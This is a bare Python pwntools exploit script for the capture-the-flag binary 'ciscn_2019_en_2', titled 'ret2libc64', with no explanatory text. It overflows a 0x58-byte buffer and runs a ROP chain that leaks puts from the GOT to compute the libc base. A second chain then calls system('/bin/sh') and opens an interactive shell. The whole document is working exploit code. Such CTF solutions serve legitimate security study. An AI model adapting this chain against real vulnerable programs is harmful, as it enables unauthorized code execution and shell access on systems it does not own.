ciscn_2019_en_2 ret2libc64

from pwn import *
elf = ELF('./libc-2.23.so')
p = process("./ciscn_2019_en_2")
p.recvuntil('choice!\n')
p.sendline("1")
p.recvuntil('encrypted\n')
poprdiret = 0x0000000000400c83
pltputs = 0x00000000004006E0
gotputs = 0x0000000000602020
ret = 0x00000000004006B9
main = 0x0000000000400B28
payload = 0x58*'a' + p64(poprdiret) + p64(gotputs) + p64(pltputs) + p64(main)
p.sendline(payload)
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')
libcbase = u64(p.recvline()[:-1].ljust(8, '\x00')) - elf.symbols['puts']
log.success(hex(libcbase))

systemaddr = libcbase + elf.symbols['system']
binsh = libcbase + elf.search("/bin/sh\x00").next()
payload = 0x58*'a' + p64(ret) + p64(poprdiret) + p64(binsh) + p64(systemaddr) + p64(main)
p.recvuntil('choice!\n')
p.sendline("1")
p.recvuntil('encrypted\n')
p.sendline(payload)
p.interactive()